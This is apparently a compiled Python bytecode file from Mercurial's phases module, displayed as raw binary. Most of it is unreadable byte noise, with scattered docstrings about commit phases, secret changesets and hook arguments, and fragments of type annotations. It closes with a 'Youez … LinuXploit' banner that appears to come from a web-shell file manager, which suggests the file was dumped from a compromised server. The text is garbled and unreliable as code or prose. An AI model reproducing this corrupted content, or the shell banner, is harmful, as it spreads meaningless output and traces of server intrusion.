�.����8�%��J���J��J�����$��Y�Y�;�Y�G�
��%�%�d�
�C���#�#�F�+��)��r4c��URSS5n[U$![a# [R"[S5U-5ef=f)zmhelper to get the target phase of new commit

Handle all possible values for the phases.new-commit options.

rs
new-commits0phases.new-commit: not a valid phase name ('%s'))�configr%�KeyErrorr�ConfigErrorr)r�vs  r,�newcommitphaser��sS��	�	�	�)�]�+�A�
��A�����
����
�A�B�Q�F�
�	
�
�s	��-A
c�N�[URR[5$)z@utility function that check if a repo have any secret changeset.)r]rir�r!r0s r,�	hassecretr��s���� � �,�,�V�4�5�5r4c�8�UcSnO	[UnX[US.$)Nr4)snodesoldphaser)rC)rTrr�s   r,�preparehookargsr��s&��
�{�����o���z�#��G�Gr4r^r()r1r[rHr\rYzTuple[Phaseroots, bool])r]�Dict[int, List[bytes]]rY�bytes)rYr�r`)r1r[rYr�)
r1r[rxr�ryr�rzr�rYr])r�r�rKr�rYz'Tuple[Collection[int], Collection[int]])r�r�rKr�rYr�)rzuimod.uirYr)rTr�r�
Optional[int]r�r�rYr�)\r��
__future__rr$�structrer	rrrrrr	r
rrr
�i18nrrTrrrrrr�rrrrrr�
Phaseroots�	PhaseSetsrf�typing_extensionsrrr�uimod�localrepository�
Phasedefaults�StructrZr�__annotations__rr!rBr)r;r��not_public_phases�
cmdphasenames�dict�	enumeraterCrXr$r�r%r��
mutablephases�relevant_mutable_phases�remotehiddenphases�localhiddenphases�tuple�all_internal_phases�no_bundle_phasesr2r7rVrarlr{r}r�r�r�r8r=rrsr~r�r�r�r�r�r�r�r�)rSrFs00r,�<module>r�sG��d�L#��
�
�����������#�s�3�x�-�
 �
���c�#�h���	�	�����
�7�N�7���)�+�+�Z�8�*�D�E��M�
�
�
�h�'�
�����
��s������
��
��
�U�F�H�h�7�	����(�3�
�!��0�
�
�)�M�*�
+�
�"�
�8��"�
�8��$.�#3�#3�#5�!�#5�K�E�D�K�#5�!��
��
(3�'7�'7�'9��$�9����z�:�z�e�E�\�z�:�;����z�B�z�e�U�U�]�E�)�z�B�C����(�3�
� �&�/���h��1���x�(���A�y�A�A��&��H�
H�.2�'�
#�'�*�'��'�T	 ��$3�*
�,57�z,/�(�q	�q	�h�.
&�&��@�
#��
�����	�

��.�<�"%��"%��"%�-�	"%�J3�3�8)��)��)��	)�X
�6�
	H�
�	H�	�	H�
�	H��		H��Q"!��;��Bs�H;�I�-I

Youez - 2016 - github.com/yon3zu
LinuXploit